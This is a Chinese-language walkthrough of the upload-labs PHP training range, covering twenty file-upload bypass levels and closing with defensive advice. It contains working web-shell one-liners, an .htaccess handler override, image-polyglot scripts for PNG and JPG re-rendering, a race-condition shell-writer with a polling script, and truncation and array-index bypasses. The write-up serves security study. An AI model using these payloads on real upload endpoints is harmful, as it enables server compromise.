upload-labs通关练习

目录

环境搭建

第一关

第二关

第三关

第四关

第五关

第六关

第七关

第八关

第九关

第十关

第十一关

第十二关

第十三关

第十四关

第十五关

第十六关

第十七关

第十八关

第十九关

第二十关

总结


环境搭建

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助网络攻防初学者对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

靶场链接:https://github.com/c0ny1/upload-labs/releases/tag/0.1

具体搭建参考过程如所示:https://blog.csdn.net/2302_80946742/article/details/137714313?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-137714313-blog-135903159.235^v43^pc_blog_bottom_relevance_base5&spm=1001.2101.3001.4242.1&utm_relevant_index=3

第一关

方法一 修改文件类型

该关卡是通过前端验证,前端验证通过之后再上传文件,上传文件的过程不进行过滤。所以我们可以先将PHP文件改为PNG,绕过前端JS验证,通过之后使用BurpSuite抓取上传文件的数据包,并将文件类型改为PHP继续上传。

先准备一句话木马如下,文件类型PNG

此后尝试上传文件,并且通过后台BurpSuite抓取上传文件的数据包,并将其进行修改。

对回显的图片右键可以获取图片地址,之后可以通过一些链接工具进行连接测试。由于是在本地搭建,通过查看路径发现文件已经上传成功。

方法二 前端禁用JS绕过

在游览器按F12打开页面审查,找到设置里面Disable JavaScript点击禁用。之后就可以上传PHP文件。

第二关

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。

MIME 的组成结构非常简单,由类型与子类型两个字符串中间用 / 分隔而组成,不允许有空格。type 表示可以被分多个子类的独立类别,subtype 表示细分后的每个类型。MIME类型对大小写不敏感,但是传统写法都是小写。

这一关不再进行前端验证,通过查看提供的源码,我们发现他是一个在服务端对数据包的MIME进行验证,并且发现只对文件的Content-Type类型有限制:`if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {`:检查上传的文件是否为 JPEG、PNG 或 GIF 格式的图像文件。如果不是这些格式,会提示用户文件类型不正确并要求重新上传。

方法一 修改Content-Type类型

我们可以上传PHP文件,之后通过BurpSuite抓取上传文件的数据包,将Content-Type类型改为image/jpeg、image/png、image/gif(三种任选其一),重新发包。

方法二 修改上传文件类型

我们可以上传图片文件,之后通过BurpSuite抓取上传文件的数据包,将文件的后缀改为PHP即可。

第三关

通过直接上传PHP文件返回发现会提示黑名单,即扩展名检测机制,后端利用$_FILES()和strrchr()获取文件名后缀。由于是黑名单限制且名单不完整,其实可以采用一些方法绕过。比如在某些特定环境中某些特殊后缀仍会被当作php文件解析的扩展名有:php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml

通过分析源代码我们发现,代码修改了文件名称,生成一个新的文件路径,包括上传路径、当前时间戳和随机数以及文件后缀,以确保文件名的唯一性。但是由于可以直接在前端获取文件名称,所以这一步并没有对后续操作进行限制。

第四关

通过直接上传PHP文件返回发现会提示黑名单,即扩展名检测机制,和第三关不一样的是基本上限制了所有可用的文件类型。但是还有一种文件类型可以利用,即.htaccess文件。

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
 .htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
 .htaccess的用途范围主要针对当前目录。并且该文件的优先级比较高,甚至高于Apache的主要配置文件(httpd-conf)

创建.htaccess文件代码如下,这个代码的作用是,如果当前目录下有.png的文件,就会被解析为.php,成功上传。

<FilesMatch ".png">
SetHandler application/x-httpd-php
</FilesMatch>

再上传一个一句话木马,文件名为 test.png,依旧访问 test.png,但其会以 PHP形式显示

第五关

通过查看源码发现依然是黑名单过滤,但是过滤的文件类型更加齐全,不能使用.htaccess文件。由于本机环境是在Windows下进行的,所以此时就可以尝试使用大小写绕过限制上传文件,或者是使用`.user.ini配置文件。

方法一 Windows大小写绕过

通过分析源码发现和之前几关相比,少了一段代码$file_ext = strtolower($file_ext); //转换为小写在这行代码中,strtolower函数被用于将变量$file_ext所包含的字符串转化为全小写。所以可以修改PHP文件的后缀大小写从而实现绕过。大小写绕过原理:

 Windows系统下,对于文件名中的大小写不敏感。例如:test.php和test.PHP是一样的。
 Linux系统下,对于文件名中的大小写敏感。例如:test.php和 test.PHP就是不一样的。

方法二 利用.user.ini

它比.htaccess 用的更广,不管服务器是 nginx/apache/IIS,当使用 CGI/FastCGI 来解析 php 时,php 会优先搜索目录下所有的.ini 文件,并应用其中的配置。
 作用:特定用于用户或者特定目录的配置文件,通常位于Web应用程序的根目录下。
 类似于 apache 的.htaccess,但语法与.htacces 不同,语法跟php.ini一致,并且.user.ini先级较高。
 内容如下:
 auto_prepend_file=test.png

再上传一个内容为 php 一句话脚本,命名为 test.png。.user.ini文件作用:所有的 php 文件都自动包含 test.png文件。.user.ini相当于一个用户自定义的 php.ini。但是由于当前环境不符合该条件,所以该方法不能进行测试。

注意应用前提是:

  • 版本选择最好大于5.3.0,最好是7.x的版本;

  • 并且Server API 为CGI/FastCGI;

  • .user.ini可以生效,并且该目录下有PHP文件;

第六关

分析源代码我们发现,相比于之前的代码,次出少了部分内容$file_ext = trim($file_ext); //首尾去空并没有对文件后缀名进行首尾去空的操作。这一行代码使用了PHP的trim函数对变量$file_ext所存储的字符串进行处理。trim函数的作用是去除字符串首尾的空白字符(包括空格、换行符、制表符等),所以这里可以通过对文件后缀名末尾进行添加空格的方式来进行绕过。

Windows 系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。

所以可以通过BurpSuite抓取上传文件的数据包,通过在文件名称后面添加空格来绕过判断。

第七关

通过对比前几关的源码,发现少了$file_name = deldot($file_name);//删除文件名末尾的点。该代码主要是去除文件名后面的点。并且windows等系统默认删除文件后缀的.和空格,没有过滤点

因为代码是通过拼接合成文件,使用$file_ext = strrchr($file_name, '.');,通过查找文件名中最后一个点来获取文件后缀。并且之后对文件后缀进行大写转小写。之后随机文件名称 + 修改后的后缀拼接文件名称。所以我们可以通过BurpSuite抓取上传文件的数据包,在filename最后面添加.来将文件名称33.php改为33.php.。此时文件名称为33.php,文件后缀为空。

第八关

通过分析源码,发现与之前相比发现少了对上传的文件后缀名为做去::$DATA 处理的过程,上传到服务器的文件在Windows中会自动去掉::$DATA。

利用Windows特性

  • 在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名。

  • 例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"

所以可以通过BurpSuite抓取上传文件的数据包,在filename最后面添加::$DATA来绕过检查文件后缀名称。

第九关

通过分析代码发现,将文件名进行过滤操作后,将文件名拼接在路径后面,所以需要绕过前面的首尾去空以及去点。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码首先获取文件全称,之后通过deldot函数删除文件末尾出现的点,之后会基于.进行分割获取文件后缀。并且将后缀转小写、去除字符串::$DATA、首位去除空格。完成一系列操作之后会将文件名称存储到upload文件夹下。它只去掉一次空格,举个例:测试.php. . 最后代码执行完后变成 测试.php.。所以可以构建$file_name=33.php,即通过BurpSuite抓取上传文件的数据包,修改文件名称格式为点+php+点+空格+点

第十关

通过分析代码发现$file_name = str_ireplace($deny_ext,"", $file_name);,利用str_ireplace()将文件名中符合黑名单的字符串替换成空。但是只替换了一次,所以可以尝试双写后缀绕过。

注意str_ireplace()函数一下特点:

  • 该函数必须遵循下列规则:

    • 如果搜索的字符串是一个数组,那么它将返回一个数组。

    • 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。

    • 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换

    • 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用

    注释:该函数不区分大小写。请使用 str_replace()函数来执行区分大小写的搜索。

基于以上规则修改文件类型,将原本33.php,修改为33.pphphp,进行测试。

第十一关

通过分析代码发现$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;:定义上传文件的目标路径,通过获取 URL 参数中的保存路径($_GET['save_path']),并结合随机数、当前时间戳和文件后缀名生成唯一的文件名,所以可以通过控制文件路径,将其截断,将图片中的PHP代码存入其中。

通过BurpSuite抓取上传文件的数据包,修改设置save_path参数内容为upload/test.php%00 ,添加test.php%00内容为了控制路径,上传文件后缀为白名单即可,上传一个文件后缀问白名单中的后缀的PHP文件。保存后为/upload/test.php%00*****.png,但服务端读取到%00时会自动结束,将文件内容保存至test.php中。

PS:需要 php 的版本号低于 5.3.29,且 magic_quotes_gpc 为关闭状态。

第十二关

该关卡依然使用白名单限制上传文件类型,但上传文件的存放路径可控,但因为是 POST 型,需要在 16 进制中修改,因为 POST 不会像 GET 那样对%00 进行自动解码。

第十三关

分析代码getReailFileType()函数

function getReailFileType($filename){}:定义一个函数,用于获取文件的真实类型。
$file = fopen($filename, "rb");:以二进制只读模式打开文件。
$bin = fread($file, 2); //只读 2 字节:读取文件的前两个字节。
fclose($file);:关闭文件。
$strInfo = @unpack("C2chars", $bin);:将读取的两个字节解包为一个关联数组。
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);:将两个字节组合成一个整数,作为文件类型代码。
$fileType = '';:初始化文件类型变量。
switch($typeCode){...}:根据文件类型代码判断文件类型,并设置相应的文件类型字符串。
return $fileType;:返回文件类型。

通过读文件的前 2 个字节,检测上传文件二进制的头信息,判断文件类型,利用010 Editor变写图片内容为一句话木马从而绕过检测。并且后端会根据判断得到的文件类型重命名上传文件,之后通过文件包含漏洞进行连接。

常见图片文件二进制:
 Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG
 Jpg图片文件包括2字节:FF D8。
 Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
 Bmp图片文件包括2字节:42 4D。即为 BM

可以使用010 Editor查看图片马的内容

将这个文件上传到服务器之后,通过利用文件包含漏洞去包含这个图片文件以便于执行PHP代码。

第十四关

通过分析代码发现,代码首先定义了允许的图像文件类型扩展名的字符串 $types。然后通过 file_exists 函数检查文件是否存在。如果存在,使用 getimagesize 函数获取文件的图像相关信息(如宽度、高度、图像类型等),接着通过 image_type_to_extension 函数将获取到的图像类型转换为对应的文件扩展名。最后通过 stripos 函数检查转换后的扩展名是否在允许的类型字符串中,如果是则返回该扩展名,否则返回 false。如果文件不存在,也直接返回 false

图片马可以通过cmd直接制作命令格式为:copy logo.jpg/b+test.php/a test.png
     logo.jpg为任意图片;test.php 插入的木马文件;test.jpg 生成的图片木马

之后在网页直接上传文件,利用文件包含漏洞进行包含图片,并且通过蚁剑连接。

第十五关

分析代码发现与之前的相比exif_imagetype()读取一个图像的第一个字节并检查其后缀名。返回值与getimage()函数返回的索引2相同,但是速度比getimage快,并且判断更加严格。

第十六关

通过分析代码发现,PHP 代码主要实现了一个图片文件上传及二次渲染展示的功能。它首先获取上传文件的相关信息,然后根据文件的后缀名和类型进行合法性验证,只有当后缀名与对应的 MIME 类型匹配(如.jpg对应image/jpeg等)时,才会将文件上传到指定路径。上传成功后,会基于上传的图片创建一个新的图片对象(根据不同的图片格式分别处理),并为新生成的图片指定一个随机文件名,最后将二次渲染后的新图片保存到指定路径,同时删除原始上传的文件。整个过程中会根据不同的操作结果设置相应的提示信息和上传状态标志。但是二次渲染并不会将所有16进制都改变,有部分16进制可能不会改变。

简单的判断有无二次渲染:将上传后的图片下载下来查看图片属性,是否水平分辨率和垂直分辨率的数值发生了变换,和图片大小是否变化。如果变化就存在二次渲染。

可以尝试上传一个 GIF 图片马(GIF格式比较容易成功),然后将其下载下来,查看其十六进制的文件内容,找到二次渲染后不变的地方,而这个地方就是可以插入一句话木马的地方。

之后找比较靠后的代码插入一句话木马,可以多尝试几次找位置,有些位置容易失败。一般情况下,修改后仍然可以显示图片内容。

找到位置之后,上传并且通过文件包含漏洞包含文件进行连接。

至于其他格式的图片类型比较麻烦,需要借助脚本进行修改。

PNG的二次渲染的绕过并不能像gif那样简单,而PNG文件组成是由3个以上的数据块组成。PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。

字 段 名大小(单位:字节)描 述
Length(长度)4指定数据块中的数据长度
Chunk Type Code(数据块类型码)4数据块类型,例如:IHDR、PLTE、IDAT等
Chunk Data(数据块数据)Length存储数据
CRC(循环冗余检测)24循环冗余码

并且如果依然按照GIF的方法,可能有点困难。只有少部分内容会相同。所有这就可以使用一些编写好的脚本,脚本生成的图片中的一句话木马为:<?=$_GET[0]($_POST[1]);?>

<?php
 $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
            0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
            0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
            0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
            0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
            0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
            0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
            0x66, 0x44, 0x50, 0x33);
 ​
 ​
 ​
 $img = imagecreatetruecolor(32, 32);
 ​
 for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
 }
 ​
 imagepng($img,'./1.png');
 ?>

至于JPG文件,可以尝试GIF的方法进行。但是由于图片格式脆弱,尽量使用一些脚本减少时间成本。但是尝试过很多JPG图片都无法成功写入一句话连接木马,复用别人的JPG图片也只能写入peyload:<?=phpinfo();?>,似乎无法写入用于连接的一句话木马。

<?php
     /*
 ​
     The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
     It is necessary that the size and quality of the initial image are the same as those of the processed image.
 ​
     1) Upload an arbitrary image via secured files upload script
     2) Save the processed image and launch:
     jpg_payload.php <jpg_name.jpg>
 ​
     In case of successful injection you will get a specially crafted image, which should be uploaded again.
 ​
     Since the most straightforward injection method is used, the following problems can occur:
     1) After the second processing the injected data may become partially corrupted.
     2) The jpg_payload.php script outputs "Something's wrong".
     If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
 ​
     Sergey Bobrov @Black2Fan.
 ​
     See also:
     https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
 ​
     */
 ​
     $miniPayload = "<?=phpinfo();?>"; /* 此处是就是payload */
 ​
 ​
     if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
         die('php-gd is not installed');
     }
 ​
     if(!isset($argv[1])) {
         die('php jpg_payload.php <jpg_name.jpg>');
     }
 ​
     set_error_handler("custom_error_handler");
 ​
     for($pad = 0; $pad < 1024; $pad++) {
         $nullbytePayloadSize = $pad;
         $dis = new DataInputStream($argv[1]);
         $outStream = file_get_contents($argv[1]);
         $extraBytes = 0;
         $correctImage = TRUE;
 ​
         if($dis->readShort() != 0xFFD8) {
             die('Incorrect SOI marker');
         }
 ​
         while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
             $marker = $dis->readByte();
             $size = $dis->readShort() - 2;
             $dis->skip($size);
             if($marker === 0xDA) {
                 $startPos = $dis->seek();
                 $outStreamTmp = 
                     substr($outStream, 0, $startPos) . 
                     $miniPayload . 
                     str_repeat("\0",$nullbytePayloadSize) . 
                     substr($outStream, $startPos);
                 checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                 if($extraBytes !== 0) {
                     while((!$dis->eof())) {
                         if($dis->readByte() === 0xFF) {
                             if($dis->readByte !== 0x00) {
                                 break;
                             }
                         }
                     }
                     $stopPos = $dis->seek() - 2;
                     $imageStreamSize = $stopPos - $startPos;
                     $outStream = 
                         substr($outStream, 0, $startPos) . 
                         $miniPayload . 
                         substr(
                             str_repeat("\0",$nullbytePayloadSize).
                                 substr($outStream, $startPos, $imageStreamSize),
                             0,
                             $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                 substr($outStream, $stopPos);
                 } elseif($correctImage) {
                     $outStream = $outStreamTmp;
                 } else {
                     break;
                 }
                 if(checkImage('payload_'.$argv[1], $outStream)) {
                     die('Success!');
                 } else {
                     break;
                 }
             }
         }
     }
     unlink('payload_'.$argv[1]);
     die('Something\'s wrong');
 ​
     function checkImage($filename, $data, $unlink = FALSE) {
         global $correctImage;
         file_put_contents($filename, $data);
         $correctImage = TRUE;
         imagecreatefromjpeg($filename);
         if($unlink)
             unlink($filename);
         return $correctImage;
     }
 ​
     function custom_error_handler($errno, $errstr, $errfile, $errline) {
         global $extraBytes, $correctImage;
         $correctImage = FALSE;
         if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
             if(isset($m[1])) {
                 $extraBytes = (int)$m[1];
             }
         }
     }
 ​
     class DataInputStream {
         private $binData;
         private $order;
         private $size;
 ​
         public function __construct($filename, $order = false, $fromString = false) {
             $this->binData = '';
             $this->order = $order;
             if(!$fromString) {
                 if(!file_exists($filename) || !is_file($filename))
                     die('File not exists ['.$filename.']');
                 $this->binData = file_get_contents($filename);
             } else {
                 $this->binData = $filename;
             }
             $this->size = strlen($this->binData);
         }
 ​
         public function seek() {
             return ($this->size - strlen($this->binData));
         }
 ​
         public function skip($skip) {
             $this->binData = substr($this->binData, $skip);
         }
 ​
         public function readByte() {
             if($this->eof()) {
                 die('End Of File');
             }
             $byte = substr($this->binData, 0, 1);
             $this->binData = substr($this->binData, 1);
             return ord($byte);
         }
 ​
         public function readShort() {
             if(strlen($this->binData) < 2) {
                 die('End Of File');
             }
             $short = substr($this->binData, 0, 2);
             $this->binData = substr($this->binData, 2);
             if($this->order) {
                 $short = (ord($short[1]) << 8) + ord($short[0]);
             } else {
                 $short = (ord($short[0]) << 8) + ord($short[1]);
             }
             return $short;
         }
 ​
         public function eof() {
             return !$this->binData||(strlen($this->binData) === 0);
         }
     }
 ?>

第十七关

通过分析代码发现,先使用 move_uploaded_file($temp_file, $upload_file) 尝试将临时文件移动到指定的最终保存路径 $upload_file。如果移动成功之后会检查上传文件的扩展名是否在允许的扩展名数组中。如果在允许范围内,则会生成一个新的随机文件名将文件重命名为新的文件名,其中文件名的组成是随机两位数字、当前日期时间以及原始文件的扩展名。

由于是先上传文件到服务器,之后再判断文件是否符合条件。所以可以通过条件竞争的方式在删除不合规文件之前,访问 webshell从而生成一句话木马再上级目录。

所以先构建payload内容如下

<?php
fputs(fopen('../shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
/* 在上级目录生成shell.php一句话木马,内容为<?php @eval($_POST["cmd"]) ?> */
?>

之后通过上传这个payload,并通过BurpSuite抓取上传payload的数据包,将其传入到BurpSuite的Intruder模块。之后选择Null payloads并勾选无限重放,除此之外最好设置多线程重放,增加条件竞争成功的可能性。

之后需要准备一个脚本不断去访问这个文件,我是通过python编写的脚本。因为脚本访问速度快,比人工点击成功率高。

import requests

url = "http://127.0.0.1/upload/webshell.php"  #上传payload的路径
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("YES,you upload it!")
    else:
	    print("NO")

之后同时运行两个脚本进行竞争,当出现YES,you upload it!就表示上传webshell成功,可以尝试去上级目录对一句话木马进行连接。

第十八关

通过分析源代码发现后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,然后再不断通过include.php不断包含上传的文件(注意上传后的文件名:uploadxxx.jpg)从而从而生成木马。

本次需要通过当BurpSuite抓取include.php包含上传的文件的数据包进行不断发包,从而执行webshell。所以需要抓两个数据包同时进行,一个上传aa.png的数据包,一个include包含文件的数据包,

竞争成功之后,测试连接。

第十九关

分析代码发现,使用 pathinfo($file_name,PATHINFO_EXTENSION)的方式检查文件名后缀(从最后一个小数点进行截取)。

并且如果在文件后缀再加一个".",输出结果就会发生改变。

由于使用的是黑名单方式,但是没有对上传的文件做判断,只是对用户输入的文件名做判断,使上传的文件名用户可控。

move_uploaded_file()会忽略掉文件末尾的 /.,主要作用是将临时文件移到指定的目标路径,并确保文件在移动中不会被删除或覆盖。

所以我们可以直接上传一句话木马,之后通过BurpSuite抓取上传文件数据包并且在文件名后缀加一个小数点绕过 ,上传成功可以直接进行连接。

第二十关

通过分析代码可以得到一些限制条件如下:

  • 定义了一个允许的 MIME 类型数组限定为 image/jpegimage/pngimage/gif 三种常见的图片文件的 MIME 类型。然后检查上传文件的 MIME 类型是否在允许的类型数组中。如果不在允许范围内,就直接返回禁止上传该类型文件的提示信息。

  • 接着判断获取到的文件名是否为数组,如果不是数组,就将文件名按照点(.)进行拆分,得到一个包含文件名各部分的数组(例如,对于文件名 example.jpg,拆分后得到数组 ['example', 'jpg'])。

  • 定义一个允许的后缀数组同样限定为 jpgpnggif。通过检查文件名的后缀(通过end($file) 获取数组中的最后一个元素)是否在允许的后缀数组中。如果不在允许范围内,就直接返回禁止上传该后缀文件的提示信息。

出现漏洞的点在于$file_name = reset($file) . '.' . $file[count($file) - 1];$ext = end($file);的差异。因为count()函数是输出的有效元素的数量,end()函数是输出数组的最后一个。

所以对于数组 $file,如果传入$file[0]=webshell.php并且$file[3]=png,此时就出现问题。此时的end($file)=png并且$file[count($file) - 1]=$file=count(3-1)=$file(2)=NULL,所以在文件名称拼接的时候,就没有后缀拼接。新的文件名称就是webshell.php。而end($file)=png绕过了文件后缀的检查。

所以需要对照限制条件逐一进行绕过,通过BurpSuite抓取上传文件数据包(一句话木马的PHP文件进行修改)

  1. 因为检测上传文件的 MIME 类型,并且是直接上传PHP文件。所以需要修改Content-Type: image/png,这里按照PNG进行测试。

  2. 修改数组中save_name[0]的名称,让其值为upload-20.php

  3. 新增数组元素save_name[3],让其值为png。(符合限制条件即可)

总结

通过学习这个文件上传靶场,将之前学习的理论知识转化吸收了部分。学了常用靶场的攻击方式,我总结了部分的防御方法,欢迎大家补充。

  • 检验扩展名是否在范围内,即使用白名单过滤;

  • 图像文件的情况下确认其文件头为图像类型,而不是伪装文件;

  • 针对上传文件大小进行约定(防止上传大文件进行 DDOS 攻击);

  • 服务器端验证(防止前端绕过),重新渲染图片,但是只有前端的限制是非常不安全的,非常容易被绕过;

  • 件MIME验证,比如GIF图片MIME为image/gif,CSS文件的MIME为text/css等。

  • 上传的文件重命名,把文件地址隐藏了;

  • 检查文件上传路径,避免0x00截断、IIS6.0文件夹解析漏洞、目录遍历。

  • 文件内容检测,避免图片中插入webshell。

  • 及时更新web服务器版本和采用安全稳定版本的PHP;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/916578.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【云原生系列--Longhorn的部署】

Longhorn部署手册 1.部署longhorn longhorn架构图&#xff1a; 1.1部署环境要求 kubernetes版本要大于v1.21 每个节点都必须装open-iscsi &#xff0c;Longhorn依赖于 iscsiadm主机为 Kubernetes 提供持久卷。 apt-get install -y open-iscsiRWX 支持要求每个节点都安装 N…

Elastic Agent:可灵活地在任何地方发送和处理任何数据

作者&#xff1a;来自 Elastic Nima Rezainia Elastic Agent 是一款功能强大且用途广泛的工具&#xff0c;可用于从各种数据源&#xff08;包括自定义用户应用程序&#xff09;收集日志和指标。现在&#xff0c;Elastic Agent 提供了无与伦比的灵活性&#xff0c;可以将数据准确…

一、HTML

一、基础概念 1、浏览器相关知识 这五个浏览器市场份额都非常大&#xff0c;且都有自己的内核。 什么是内核&#xff1a; 内核是浏览器的核心&#xff0c;用于处理浏览器所得到的各种资源。 例如&#xff0c;服务器发送图片、视频、音频的资源&#xff0c;浏览…

IDEA旗舰版编辑器器快速⼊门(笔记)

简介&#xff1a;javaweb开发必备软件之IDEA期间版介绍 DEA编辑器器版本介绍 官⽹网&#xff1a;https://www.jetbrains.com/地址&#xff1a;https://www.jetbrains.com/idea/download/#sectionmac DEA 分社区版(Community) 和 旗舰版(Ultimate)&#xff0c;我们做JavaWeb开…

【鸿蒙开发】第十五章 H5与端侧交互、Cookies以及Web调试

目录 1. H5与端侧交互 1.1 应用侧调用前端页面函数 1.2 前端页面调用应用侧函数 1.2.1 复杂类型使用方法 1.3 建立应用侧与前端页面数据通道 2 管理页面跳转及浏览记录导航 2.1 历史记录导航 2.2 页面跳转 2.3 跨应用跳转 3 管理Cookie及数据存储 3.1 Cookie管理 3…

【优选算法】双指针

目录 一、[移动零](https://leetcode.cn/problems/move-zeroes/description/)二、[复写零](https://leetcode.cn/problems/duplicate-zeros/description/)三、[快乐数](https://leetcode.cn/problems/happy-number/)四、 [盛最多水的容器](https://leetcode.cn/problems/contai…

C++常用的特性-->day05

友元的拓展语法 声明一个类为另外一个类的友元时&#xff0c;不再需要使用class关键字&#xff0c;并且还可以使用类的别名&#xff08;使用 typedef 或者 using 定义&#xff09;。 #include <iostream> using namespace std;// 类声明 class Tom; // 定义别名 using …

Vue3 + Vite 构建组件库的整体流程

Vue3 Vite 构建组件库的流程 本文教你如何用 Vue Vite&#xff0c;一步一步构建一个组件库并发布到 npm 的整体流程 1. 通过 vite 命令创建一个基本的项目结构&#xff08;这里选用 vue ts 的项目&#xff09; npm create vitelatest2. 在项目中创建一个 lib 目录&#xf…

Ubuntu22.04.2 k8s部署

k8s介绍 简单介绍 通俗易懂的解释&#xff1a; Kubernetes&#xff08;也被称为 K8s&#xff09;就像是一个大管家&#xff0c;帮你管理你的云计算服务。想象一下&#xff0c;你有很多个小程序&#xff08;我们称之为“容器”&#xff09;&#xff0c;每个都在做不同的事情&…

UniApp的Vue3版本中H5配置代理的最佳方法

UniApp的Vue3版本中H5项目在本地开发时需要配置跨域请求调试 最开始在 manifest.json中配置 总是报404&#xff0c;无法通过代理请求远程的接口并返回404错误。 经过验证在项目根目录创建 vite.config.js文件 vite.config.js内容: // vite.config.js import {defineConfig }…

Android OpenGL ES详解——实例化

目录 一、实例化 1、背景 2、概念 实例化、实例数量 gl_InstanceID 应用举例 二、实例化数组 1、概念 2、应用举例 三、应用举例——小行星带 1、不使用实例化 2、使用实例化 四、总结 一、实例化 1、背景 假如你有一个有许多模型的场景&#xff0c;而这些模型的…

2024数维杯问题C:脉冲星定时噪声推断和大气时间信号的时间延迟推断的建模完整思路 模型 代码结果

&#xff08;Modeling of pulsar timing noise deduction and atmospheric time delay deduction of time signals&#xff09; 脉冲星是一种连续而稳定的快速旋转的中子星&#xff0c;为它们赢得了“宇宙的李温室”的绰号。脉冲星的空间观测对深空航天器的导航和时间标准的维…

Shell基础2

声明&#xff01; 学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下&#xff0c;如涉及侵权马上删除文章&#xff0c;笔记只是方便各位师傅的学习和探讨&#xff0c;文章所提到的网站以及内容&#xff0c;只做学习交流&#xff0c;其他均与本人以及泷羽sec团…

基于微信小程序的校园超市购物系统设计与实现,LW+源码+讲解

摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本超市购物系统就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间内处理完毕庞大的数据信息&a…

【golang-技巧】-线上死锁问题排查-by pprof

1.背景 由于目前项目使用 cgo golang 本地不能debug, 发生死锁问题&#xff0c;程序运行和期待不一致&#xff0c;通过日志排查可以大概率找到 阻塞范围&#xff0c;但是不能找到具体问题在哪里&#xff0c;同时服务器 通过k8s daemonset 部署没有更好的方式暴露端口 获取ppr…

【Visual Studio】设置文件目录

